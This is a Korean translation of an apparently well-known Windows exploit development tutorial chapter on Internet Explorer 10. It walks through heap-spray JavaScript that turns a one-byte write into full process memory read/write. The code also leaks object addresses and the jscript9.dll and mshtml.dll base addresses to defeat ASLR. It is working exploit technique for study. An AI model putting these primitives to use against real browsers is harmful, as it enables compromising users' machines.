티스토리 뷰

본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다. 


http://expdev-kiuhnm.rhcloud.com



최신 윈도우즈 익스플로잇 개발 14. IE 10 (한 바이트 쓰기로 전체 메모리 읽기/쓰기)


hackability.kr (김태범)

hackability_at_naver.com or ktb88_at_korea.ac.kr

2016.07.22



임의의 1바이트를 수정 할 수 있다면 프로세스 전체 공간 읽기/쓰기를 할 수 있습니다. 배열의 크기 필드를 수정하여 일반 자바스크립트 코드의 배열 끝을 넘어 읽고 쓰기가 가능합니다.


여기서 2개의 힙 스프레이가 필요합니다.

1. 힙에 LargeHeapBlocks raw buffer (ArrayBuffer)

2. IE 커스텀 힙(custom heap)에 할당된 Arrays Int32Arrays


아래는 이와 관련된 자바스크립트 코드 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");
 
    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x200++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x80)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x200 + 0x400++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");
    
    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>
cs


그러면 위 2개의 힙 스프레이는 다음과 같이 표현됩니다.



여기에서는 몇 가지 중요한게 있습니다. 첫 번째 힙 스프레잉의 목적은 버퍼 (ArrayBuffer) LargeHeapBlocks 사이에 넣는 것 입니다. LargeHeapBlocks와 버퍼는 같이 힙에 할당되기 때문에 이들의 크기가 동일하다면 메모리에서 다른 곳에 할당되지 않고 동일한 곳에 할당이 될 것입니다. LargeHeapBlock 0x58 바이트이기 때문에 버퍼 역시 0x58로 맞춰줍니다.

 

두 번째 힙스프레잉의 오브젝트들은 커스텀 힙에 할당됩니다. 이 뜻은 Array LargeHeapBlock을 인접하게 놓고 싶어도 그렇게 하지 못함을 의미합니다.

 

두 번째 힙 스프레이의 Int32Arrays ArrayBuffer 버퍼를 참조하는데 이는 첫 번째 힙 스프레잉에서 할당된 raw buffer와 연관되어 있습니다. 두 번재 힙 스프레이에서 우리는 0x10000 바이트의 400 청크들을 할당했습니다. 사실 각각의 청크는 다음과 같이 할당됩니다.

  • 0x3bf8 크기의 배열 ==> 0x3bf8 * 4 바이트 + 20 바이트 해더 = 0xf000 바이트
  • 0x55 개의 Int32Arrays의 전체 크기는 0x30 * 0x55 = 0xff0


Int32Array 0x24바이트 이지만 실제 블록에 할당된 크기는 0x30바이트 임을 볼 수 있기 때문에 이는 사실 0x30 크기로 영향을 줌을 알 수 있습니다.

 

Array 0x55 Int32Arrays를 가지고 있는 청크의 저체 크기는  0xf000 + 0xff0 = 0xfff0 바이트가 됩니다. 이는 메모리에 Arrays가 정렬됨을 볼 수 있고 빠진 0x10바이트는 사용되지 않음을 알 수 있습니다.

 

자바스크립트 코드의 마지막은 다음과 같습니다.


1
alert(“Set byte at 0c0af01b to 0x20”);
cs


첫 번째로, VMMap으로 메모리를 살펴봅니다.




0xc0af01b는 우리의 두 번째 힙스프레이 내부에 있습니다. WinDbg에서 해당 메모리를 살펴 보도록 하겠습니다. 먼저, 0xc0a0000에서 Array를 찾을 수 있습니다.



두 번째 힙 스프레이가 우리가 원했던 정확한 모습은 아닙니다. 코드를 다시 살펴 보도록 하죠.

 

1
2
3
4
5
for (; i < 0x200 + 0x400++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55++j)
        a[i][j] = new Int32Array(buf)
}
cs


각각의 0x55개의 Int32Arrays Array가 할당된 다음에 곧바로 할당되며 처음 Array 0x55 요소들은 새롭게 할당된 Int32Arrays를 가리키고 있기 때문에 첫 번째 Array Array 할당 직후 생성된 Int32Array를 가릴킬 거라 생각되지만 실제로를 그렇지 않습니다. 문제는 두 번째 힙 스프레잉이 시작할 때 메모리에 약간의 단편화가 존재하여 처음 Arrays Int32Arrays는 아마 서로 다른 객체에 부분적으로 할당된 블록에 할당될 것 입니다.

 

그래도 이는 그렇게 큰 문제는 아닙니다. 단지 이를 통해 우리는 좀더 우리의 가정에 대해 조심할 필요가 있다는 것을 보여줍니다.

 

0xc0af000 주소를 살펴보도록 하죠. 이 곳에서 첫 번째 Int32Array 청크를 볼 수 있습니다.



Int32Array 0x429af28 위치의 raw buffer를 가리키는데 이는 LargeHeapBlocks와 함께 있는 일반 힙에 할당된 ArrayBuffer buf와 연관되어 있습니다. 이를 한 번 살펴보도록 하겠습니다.



이 그림은 좀 당황스럽습니다. 첫 번째로, 처음 2개의 LargeHeapBlocks이 인접하지 않는데 이렇게 되면 두 개의 사이 공간이 랜덤하게 되어 문제가 됩니다. 두 번째로, LargeHeapBlock이 다음 블록을 가리킵니다. 우리가 전에 봣을 때는 이것이 전 블록을 가리키고 있었는데 말이죠.

 

IE에서 페이지를 다시 불러와 다시 해보도록 하죠.



LargeHeapBlock이 여전히 다음을 가리킵니다. 다시 해보죠.



이번에는 0xca0f000 Int32Arrays가 존재하지도 않습니다. 다시 해보죠.



이쯤에서 결론을 내리자면 LargeHeapBlocks은 다음 위치를 가리키는 경향이 있습니다. 처음에 이것들은 이전 블록을 가리키고 있었는데 그 이유는 LargeHeapBlocks가 역순으로 할당되었기 때문입니다. (낮은 주소로 할당)

 

여기서 우리는 몇몇 잘못된 것 들을 봤습니다. 이를 어떻게 대응해야 할까요? 저는 페이지를 다시 불러서 해결했습니다. 몇몇 부분에 대한 확인을 통해 모든 것이 정상적으로 됫는지 확인하고 만약 그렇지 않다면 페이지를 다시 불러옵니다.

 

다음과 같이 자바스크립트를 구현합니다.


1
2
3
4
5
6
7
8
9
10
(function() {
    .
    .
    .
    if (check fails) {
      window.location.reload();
      return;
    }
    
  })();
cs


다음과 같이 함수에 코드를 감싸 return 을 이용하여 코드 실행을 멈춥니다. 이 것이 필요한 이유는 reload()가 즉각적으로 일어나지 않고 페이지가 로드 되기 전에 문제가 발생될 수 있기 때문입니다.

 

자바스크립트는 위와 마찬가지로 아래와 같이 마무리 합니다.


1
2
3
4
5
//            vftptr
// 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
// 0c0af020: 03133de0                                             array_len buf_addr
//          jsArrayBuf
alert("Set byte at 0c0af01b to 0x20");
cs


주석을 살펴보면 0xc0af000에 위치한 Int32Array array_len 필드가 초기에 0x16으로 되어 있습니다. 0xc0af01b 0x20으로 쓰면 이것이 0x20000016이 됩니다. 만약 raw buffer 가 주소 0x8ce0020에 있다면 0xc0af000에 있는 Int32Array를 이용하여 [0x8ce0020, 0x8ce0020 + 0x20000016*4-4] 영역의 주소 공간에 읽기 쓰기를 할 수 있습니다.

 

어떤 주소 공간에 읽기, 쓰기를 하기 위해서는 raw buffer의 시작 주소를 알아야 합니다. WinDbg를 이용하면 해당 주소를 알 수 있지만 자바스크립트 코드에서는 어떻게 이 주소를 결정할 수 있을까요?

 

이를 위해 2가지 작업이 필요합니다.


1. 우리가 수정한 array_len Int32Array를 결정 (위의 예에서는 0xc0af000)

2. 다음 블록을 가리키는 LargeHeapBlocks의 익스플로잇을 이용하여 buf_addr 찾기


첫 번째 단계를 위한 자바스크립트 코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Now let's find the Int32Array whose length we modified.
int32array = 0;
for (i = 0x200; i < 0x200 + 0x400++i) {
  for (j = 0; j < 0x55++j) {
    if (a[i][j].length != 0x58/4) {
      int32array = a[i][j];
      break;
    }
  }
  if (int32array != 0)
    break;
}
    
if (int32array == 0) {
  alert("Can't find int32array!");
  window.location.reload();
  return;
}
 
cs


이 코드를 이해하는데 문제가 없으셔야 합니다. 간단히 말하자면, 수정된 Int32Array는 원래 값과 다른 값을 갖습니다. (0x58/4 = 0x16). 만약 이 Int32Array를 찾지 못한다면 뭔가 잘못 된 것이기 때문에 페이지를 다시 불러와야 합니다.

 

기억해야 할 점은 0xc0a0000에 있는 Array의 첫 번째 요소는 0xc0af000에 있는 Int32Array를 가리키지 않기 때문에 모든 Int32Arrays들을 확인해야 합니다.

 

Int32Array array_len 필드 수정에 의한 raw buffer 이후 읽기/쓰기가 명확하지 않을 수 있습니다. 사실, Int32Array raw buffer의 실제 크기를 가지고 있는 ArrayBuffer도 가리킵니다. 따라서, 우리는 운좋게도 이 두 개의 크기를 수정할 필요가 없습니다.

 

두 번째 단계를 진행해보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// This is just an example.
// The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
// The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
// The value in parentheses, at 03c1f178+0x60+0x24, points to the following
// LargeHeapBlock.
//
// 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
// 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
// 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
// 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
// 03c1f238: ...
 
// We check that the structure above is correct (we check the first LargeHeapBlocks).
// 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
var vftptr1 = int32array[0x60/4],
    vftptr2 = int32array[0x60*2/4],
    vftptr3 = int32array[0x60*3/4],
    nextPtr1 = int32array[(0x60+0x24)/4],
    nextPtr2 = int32array[(0x60*2+0x24)/4],
    nextPtr3 = int32array[(0x60*3+0x24)/4];
if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
    nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
  alert("Error!");
  window.location.reload();
  return;
}  
    
buf_addr = nextPtr1 - 0x60*2;
cs


int32array 0xc0af000에 위치한 Int32Array를 변경합니다. 우리는 vftable 포인터들과 처음 3개의 LargeHeapBlocks forward pointer들을 읽습니다. 만약 모든것이 잘 동작한다면 vftable 포인터들은 0xXXXX6e18 형태를 갖게 되고, forward pointer 0x60 차이가 나게 되는데 이는 LargeHeapBlock 크기에 +8 (allocation header)입니다. 다음 그림을 보면서 좀 더 명확하게 해보도록 하겠습니다.



이제, buf_addr raw_buffer 의 시작 주소를 갖기때문에 우리는 [buf_addr, buf_addr + 0x20000016*4]의 모든 위치에 대해 읽고, 쓰기를 할 수 있습니다. 전체 주소 공간에 대해 접근을 하기 위해 0xc0af000 int32Array를 한 번 더 수정해야 합니다


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// Now we modify int32array again to gain full address space read/write access.
if (int32array[(0x0c0af000+0x1c - buf_addr)/4!= buf_addr) {
  alert("Error!");
  window.location.reload();
  return;
}  
int32array[(0x0c0af000+0x18 - buf_addr)/4= 0x20000000;        // new length
int32array[(0x0c0af000+0x1c - buf_addr)/4= 0;                 // new buffer address
 
function read(address) {
  var k = address & 3;
  if (k == 0) {
    // ####
    return int32array[address/4];
  }
  else {
    alert("to debug");
    // .### #... or ..## ##.. or ...# ###.
    return (int32array[(address-k)/4>> k*8|
           (int32array[(address-k+4)/4<< (32 - k*8));
  }
}
 
function write(address, value) {
  var k = address & 3;
  if (k == 0) {
    // ####
    int32array[address/4= value;
  }
  else {
    // .### #... or ..## ##.. or ...# ###.
    alert("to debug");
    var low = int32array[(address-k)/4];
    var high = int32array[(address-k+4)/4];
    var mask = (1 << k*8- 1;  // 0xff or 0xffff or 0xffffff
    low = (low & mask) | (value << k*8);
    high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
    int32array[(address-k)/4= low;
    int32array[(address-k+4)/4= high;
  }
}
cs


주석을 다시 한 번 살펴보도록 하겠습니다.


1
2
3
4
//            vftptr
// 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
// 0c0af020: 03133de0                                             array_len buf_addr
//          jsArrayBuf
cs


위 코드에서 우리는 array_len 0x20000000로 설정하고 buf_addr 0 으로 설정합니다. 이제 우리는 [0, 0x20000000*4]에 대해 읽고 쓰기를 할 수 있습니다.

 

read(), write()를 보시면 4의 배수가 되는 주소에 대해서는 처리하지 않음을 볼 수 있습니다.



객체의 주소 노출


우리는 자바스크립트에서 객체의 주소를 결정할 필요가 있습니다. 코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
for (i = 0x200; i < 0x200 + 0x400++i)
  a[i][0x3bf7= 0;
 
// We write 3 in the last position of one of our arrays. IE encodes the number x
// as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
// Either we use an odd number or a valid address otherwise IE will crash in the
// following for loop.
write(0x0c0af000-43);
 
leakArray = 0;
for (i = 0x200; i < 0x200 + 0x400++i) {
  if (a[i][0x3bf7!= 0) {
    leakArray = a[i];
    break;
  }
}
if (leakArray == 0) {
  alert("Can't find leakArray!");
  window.location.reload();
  return;
}
 
function get_addr(obj) {
  leakArray[0x3bf7= obj;
  return read(0x0c0af000-4);
}
cs


여기서 우리는 0xc0a0000 Array를 구한다고 하면 다음과 같이 진행됩니다.

1. 모든 Array의 마지막 요소들에 대해 0으로 설정 (a[0x3bf7] = 0)

2. 0xc0a0000-4 위치에 3을 씀 

3. 마지막 요소가 0이 아닌 Array을 찾음

4. get_addr()은 다음과 같이 정의됨

a. 객체의 참조를 구함

b. 객체 leakArray의 마지막 요소로 씀

c. read()를 통해 객체를 읽으면 참조에 대한 실제 값을 얻을 수 있음


get_addr 함수는 굉장히 중요한데 이는 자바스크립트에서 우리가 생성한 오브젝트의 실제 주소를 얻을 수 있기 때문입니다. 다음 과정을 통해 jscript9.dll mshtml.dll의 기본 주소를 얻을 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// At 0c0af000 we can read the vfptr of an Int32Array:
//   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
jscript9 = read(0x0c0af000- 0x3b60;
.
.
.
// Here's the beginning of the element div:
//      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
//      v
//   70792248 0c012b40 00000000 00000003
//   73b38b9a 00000000 00574230 00000000
//      ^
//      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
var addr = get_addr(document.createElement("div"));
mshtml = read(addr + 0x10- 0x58b9a;
cs


코드 자체는 간단합니다. 우리는 0xc0af000 Int32Array가 있고 첫 번째 dword vftable임을 알 고 있습니다. TypedArray<int> vftable jscript9.dll 모듈에 있고 이는 수정된 RVA에 위치해 있기 때문에 이는 jscript9의 기본 주소에 실제 주소의 vftable RVA값을 빼서 구할 수 있습니다.

 

그 후, div 를 생성하고 해당 주소를 노출 시킵니다. 오프셋 0x10위치에서 MSHTML!CBASETypeOperation::CBaseFinalizer 포인터를 찾을 수 있는데 이는 다음과 같이 표현됩니다.


mshtml + RVA = mshtml + 0x58b9a


전과 동일하게 mshtml.dll의 기본 주소를 구할 수 있습니다.

댓글